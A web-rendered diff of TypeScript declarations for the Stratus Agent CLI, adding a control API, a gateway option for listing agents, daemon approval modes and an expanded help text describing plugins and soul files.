* them exposed the API on every interface to an operator who had just asked
|
|
61
|
+
* for the opposite.
|
|
62
|
+
*/
|
|
63
|
+
host?: string;
|
|
54
64
|
openBrowser: boolean;
|
|
55
65
|
}
|
|
56
66
|
export interface ParsedSetupCommand {
|
|
@@ -78,6 +88,14 @@ export interface ParsedChatCommand {
|
|
|
78
88
|
export interface ParsedAgentsCommand {
|
|
79
89
|
command: 'agents';
|
|
80
90
|
format: 'text' | 'json';
|
|
91
|
+
/**
|
|
92
|
+
* Ask a running gateway instead of resolving locally. The first
|
|
93
|
+
* remote-consuming command: the same listing, rendered from the control
|
|
94
|
+
* API's answer rather than from this machine's files.
|
|
95
|
+
*/
|
|
96
|
+
gateway?: string;
|
|
97
|
+
/** Bearer token override, for a gateway whose token file is not local. */
|
|
98
|
+
token?: string;
|
|
81
99
|
}
|
|
82
100
|
export interface ParsedDoctorCommand {
|
|
83
101
|
command: 'doctor';
|
|
@@ -102,24 +120,29 @@ export interface ParsedLogsCommand {
|
|
|
102
120
|
sessionId?: string;
|
|
103
121
|
format: 'text' | 'json';
|
|
104
122
|
}
|
|
123
|
+
export type ServeApprovalMode = 'headless' | 'remote';
|
|
105
124
|
export interface ParsedServeCommand {
|
|
106
125
|
command: 'serve';
|
|
107
126
|
configPath?: string;
|
|
127
|
+
/** Overrides `approvals.mode` in the config file. */
|
|
128
|
+
approvals?: ServeApprovalMode;
|
|
108
129
|
/** Watchdog idle timeout in milliseconds. 0 disables. */
|
|
109
130
|
idleTimeoutMs?: number;
|
|
110
131
|
events: boolean;
|
|
111
132
|
/** Write the structured log to ~/.stratus/logs. Defaults to true. */
|
|
112
133
|
logToFile?: boolean;
|
|
134
|
+
/** Serve the control API. Defaults to true when the package is installed. */
|
|
135
|
+
api?: boolean;
|
|
136
|
+
/** Overrides `api.port` in the config file. */
|
|
137
|
+
apiPort?: number;
|
|
138
|
+
/** Overrides `api.host` in the config file. */
|
|
139
|
+
apiHost?: string;
|
|
113
140
|
}
|
|
114
141
|
export interface ParsedHelpCommand {
|
|
115
142
|
command: 'help';
|
|
116
143
|
}
|
|
117
144
|
export type ParsedCommand = ParsedRunCommand | ParsedChatCommand | ParsedDashboardCommand | ParsedSetupCommand | ParsedAgentNewCommand | ParsedAgentsCommand | ParsedDoctorCommand | ParsedLogsCommand | ParsedServiceCommand | ParsedServeCommand | ParsedHelpCommand;
|
|
118
|
-
export
|
|
119
|
-
url: string;
|
|
120
|
-
close: () => Promise<void>;
|
|
121
|
-
}
|
|
122
|
-
export declare const CLI_VERSION = "0.3.0";
|
|
145
|
+
export declare const CLI_VERSION = "0.6.0";
|
|
123
146
|
/**
|
|
124
147
|
* The range every package declares in its `engines` field. Two floors, not
|
|
125
148
|
* one: `node:sqlite` was unflagged in 22.13.0 on the LTS line and in 23.4.0
|
|
@@ -141,11 +164,20 @@ export declare const SUPPORTED_NODE_RANGE = ">=22.13 <23 || >=23.4";
|
|
|
141
164
|
* string is a bad reason to refuse to run.
|
|
142
165
|
*/
|
|
143
166
|
export declare const unsupportedNodeMessage: (version: string) => string | undefined;
|
|
144
|
-
declare const HELP_TEXT = "Stratus Agent CLI\n\nUsage:\n stratus setup\n stratus chat\n stratus chat --soul ./examples/souls/ava.md\n stratus run --prompt \"Use the demo tool\"\n stratus run \"Say hello\"\n ANTHROPIC_API_KEY=... stratus run --provider anthropic \"Say hello\"\n stratus run --soul ./examples/souls/ava.md \"Say hello\"\n echo \"Use the echo tool\" | stratus run --stdin\n STRATUS_PROVIDER=openai OPENAI_API_KEY=... stratus run \"Say hello\"\n stratus run --config ./stratus.config.json --provider openai \"Say hello\"\n stratus agents\n stratus doctor\n stratus service install\n stratus service status\n stratus logs -f\n stratus logs --agent ava -n 200\n stratus dashboard\n stratus dashboard --port 4123 --host 0.0.0.0 --no-open\n\nCommands:\n setup Menu-driven onboarding: pick a provider, sign in (Claude\n subscription or API key), create your agent, connect it to\n Slack, and test it \u2014 settings go to ~/.stratus/config.json,\n sign-ins and channel tokens to ~/.stratus/credentials.json\n (0600)\n chat Talk with your agent \u2014 the conversation persists across turns\n and remembered facts accumulate; /exit or Ctrl+C to leave\n run Execute one local Stratus Agent session\n serve Run stratusd, the always-on gateway: durable sessions, the\n whole roster live at once (each agent on its own provider),\n delegation, and a watchdog \u2014 Ctrl+C / SIGTERM drains cleanly\n (--idle-timeout <seconds>, --no-events, --no-log-file
|
|
167
|
+
declare const HELP_TEXT = "Stratus Agent CLI\n\nUsage:\n stratus setup\n stratus chat\n stratus chat --soul ./examples/souls/ava.md\n stratus run --prompt \"Use the demo tool\"\n stratus run \"Say hello\"\n ANTHROPIC_API_KEY=... stratus run --provider anthropic \"Say hello\"\n stratus run --soul ./examples/souls/ava.md \"Say hello\"\n echo \"Use the echo tool\" | stratus run --stdin\n STRATUS_PROVIDER=openai OPENAI_API_KEY=... stratus run \"Say hello\"\n stratus run --config ./stratus.config.json --provider openai \"Say hello\"\n stratus agents\n stratus agents --gateway http://127.0.0.1:4123\n stratus doctor\n stratus service install\n stratus service status\n stratus logs -f\n stratus logs --agent ava -n 200\n stratus dashboard\n stratus dashboard --port 4123 --host 0.0.0.0 --no-open\n\nCommands:\n setup Menu-driven onboarding: pick a provider, sign in (Claude\n subscription or API key), create your agent, connect it to\n Slack, and test it \u2014 settings go to ~/.stratus/config.json,\n sign-ins and channel tokens to ~/.stratus/credentials.json\n (0600)\n chat Talk with your agent \u2014 the conversation persists across turns\n and remembered facts accumulate; /exit or Ctrl+C to leave\n run Execute one local Stratus Agent session\n serve Run stratusd, the always-on gateway: durable sessions, the\n whole roster live at once (each agent on its own provider),\n delegation, and a watchdog \u2014 Ctrl+C / SIGTERM drains cleanly\n (--idle-timeout <seconds>, --approvals <headless|remote>,\n --no-events, --no-log-file, --config <path>); everything it\n says is also written to ~/.stratus/logs, which\n \"stratus logs\" reads. With @stratusagent/control-api\n installed it also serves the HTTP + WebSocket control API\n on 127.0.0.1:4123 (--no-api, --api-host, --api-port, or\n the config file's \"api\" block)\n service Keep stratusd running under launchd (macOS) or systemd\n (Linux): install, uninstall, status, start, stop.\n Installing starts it now and at every login\n (--no-login installs without the login trigger,\n --config <path> pins the daemon to one config file)\n logs Read the daemon's log from any terminal: -f to follow,\n -n <count> for backlog, --agent / --session to filter,\n --format json for the raw records\n agent new Create an agent identity (generates a human-ish name + avatar theme)\n agents List your agents: who they are, where their souls live, what\n they run on, what they remember (also: stratus agent list).\n --gateway <url> asks a running daemon instead of resolving\n locally, authenticating with ~/.stratus/gateway-token\n (override with --token or STRATUS_GATEWAY_TOKEN)\n doctor Show what a run would use right now \u2014 provider, model, soul \u2014\n and which file or environment variable decided each, then\n flag anything that would surprise you (--format json)\n dashboard Open the web dashboard: finds a running daemon (or starts one),\n mints a single-use sign-in link, and opens your browser at it.\n Needs @stratusagent/control-api and @stratusagent/dashboard\n help Show this help message\n\nAgent options:\n --name Agent name (omit to have one generated)\n --instructions The agent's persona/instructions\n --format Output format for agent new: text, json, or soul (a ready-to-edit soul file)\n\nOptions:\n --prompt, -p Prompt to send to the local agent loop\n --stdin Read the prompt from stdin\n --provider Provider to use: anthropic, openai, or demo\n --model Model name for real providers (anthropic default: claude-opus-5, openai default: gpt-4.1-mini)\n --base-url Override the provider API base URL\n --soul Run as the agent defined by a soul file (markdown + frontmatter, see examples/souls)\n --config Config file path (run: load settings from it, setup: write it)\n --format Output format: text or json (default: text)\n --no-events Hide event-by-event progress lines in text mode\n --approvals run/chat: tool approval mode \u2014 always, ask, or never (default: always)\n serve: how the daemon reaches a human \u2014 headless (refuse every\n gated call) or remote (ask in Slack). Default headless, or\n the config file's \"approvals.mode\"\n --max-turns Maximum provider turns per run (default: 8)\n --port dashboard: port for a daemon it starts (default: 4123)\n --host dashboard: host for a daemon it starts (default: 127.0.0.1)\n --no-open Do not open the browser automatically\n --gateway agents: read the roster from a running daemon's control API\n --token Bearer token for --gateway (default: ~/.stratus/gateway-token)\n --no-api serve: do not serve the control API\n --api-host serve: control API interface (default: 127.0.0.1)\n --api-port serve: control API port (default: 4123, 0 for any free port)\n --help, -h Show this help message\n\nConfig file:\n The CLI looks for ./stratus.config.json first, then a path from --config / STRATUS_CONFIG,\n then the global ~/.stratus/config.json written by `stratus setup`.\n A \"soul\" key (or STRATUS_SOUL) points at a soul file so every run uses that agent.\n Legacy STRATUSCLAW_* env vars and stratusclaw.config.json are still supported for compatibility.\n\nPlugins (tools):\n Capability is optional: install a package, then list it under \"plugins\" in a\n TRUSTED config (--config, STRATUS_CONFIG, or ~/.stratus/config.json), keyed by\n package name. A plugin runs inside this process, so an auto-discovered\n project-local stratus.config.json may not enable one.\n\n \"plugins\": {\n \"@stratusagent/tool-fs\": { \"enabled\": true, \"roots\": [\"~/notes\"],\n \"agents\": { \"ava\": { \"roots\": [\"~/work/ava\"] } } },\n \"@stratusagent/tool-web\": { \"enabled\": true }\n }\n\n Available: @stratusagent/tool-fs (fs.read/list/search/write),\n @stratusagent/tool-shell (shell.run), @stratusagent/tool-web (web.fetch),\n @stratusagent/tool-browser (browser.goto/read/screenshot/act).\n Installing one grants no agent anything \u2014 each soul lists what it may call.\n\nSoul files:\n A soul file is markdown with frontmatter (name, provider, model, tools, credentials)\n followed by the agent's persona in prose. See examples/souls/ava.md.\n \"tools\" takes exact names or a whole toolset: tools: [fs.read, fs.search] or\n tools: [fs.*]. Omitted means every registered tool.\n";
|
|
145
168
|
declare const stringifyValue: (value: JsonValue) => string;
|
|
146
169
|
export declare const parseCommand: (argv: string[], env?: CliEnvironment) => ParsedCommand;
|
|
147
170
|
export declare const formatEvent: (event: StratusEvent) => string | null;
|
|
148
|
-
|
|
171
|
+
/**
|
|
172
|
+
* Kept with its historical CLI signature: a parsed run command is a
|
|
173
|
+
* RuntimeSelection plus CLI-only fields the resolver ignores.
|
|
174
|
+
*
|
|
175
|
+
* Those fields are *permitted*, not required. Demanding a whole
|
|
176
|
+
* `ParsedRunCommand` made the type claim the resolver cared about
|
|
177
|
+
* `approvals`, `format`, and `events` — it reads none of them — so every
|
|
178
|
+
* caller with a selection in hand had to invent values to get past it.
|
|
179
|
+
*/
|
|
180
|
+
export declare const resolveRuntimeConfig: (command: RuntimeSelection & Partial<Omit<ParsedRunCommand, keyof RuntimeSelection>>, env?: CliEnvironment) => Promise<RuntimeConfig>;
|
|
149
181
|
/**
|
|
150
182
|
* A saved subscription sign-in silently demoted to per-token billing is the
|
|
151
183
|
* one config surprise that costs money — an API key in the environment
|
|
@@ -160,14 +192,11 @@ export declare const runSingleLoop: (prompt: string, streams: CliStreams, option
|
|
|
160
192
|
approvals?: CliApprovalMode;
|
|
161
193
|
maxTurns?: number;
|
|
162
194
|
env?: CliEnvironment;
|
|
195
|
+
configPath?: string;
|
|
163
196
|
}) => Promise<Session>;
|
|
164
197
|
export declare const printSessionSummary: (session: Session, streams: CliStreams) => void;
|
|
165
198
|
export declare const runChat: (command: ParsedChatCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
166
199
|
export declare const openExternalUrl: (url: string) => Promise<void>;
|
|
167
|
-
export declare const startDashboardServer: (options: {
|
|
168
|
-
host: string;
|
|
169
|
-
port?: number;
|
|
170
|
-
}) => Promise<DashboardServerHandle>;
|
|
171
200
|
export declare const slackAppManifest: (agentName: string) => string;
|
|
172
201
|
export declare const runSetup: (command: ParsedSetupCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
173
202
|
export declare const runAgents: (command: ParsedAgentsCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
@@ -219,6 +248,15 @@ export declare const runLogs: (command: ParsedLogsCommand, streams: CliStreams,
|
|
|
219
248
|
*/
|
|
220
249
|
export declare const runService: (command: ParsedServiceCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
221
250
|
export declare const runAgentNew: (command: ParsedAgentNewCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
251
|
+
/**
|
|
252
|
+
* `stratus dashboard` — open the web UI against a running daemon, starting
|
|
253
|
+
* one in the foreground when there is none.
|
|
254
|
+
*
|
|
255
|
+
* The daemon is started by calling `runServe`, not by rebuilding its wiring:
|
|
256
|
+
* channels, approvals, the credential preflight, and the log writer are all
|
|
257
|
+
* decisions `serve` already makes, and a second copy of them here would drift
|
|
258
|
+
* the first time either side gained a rule.
|
|
259
|
+
*/
|
|
222
260
|
export declare const runDashboard: (command: ParsedDashboardCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
223
261
|
/**
|
|
224
262
|
* `stratus serve` — run the gateway (stratusd) in the foreground: load the
|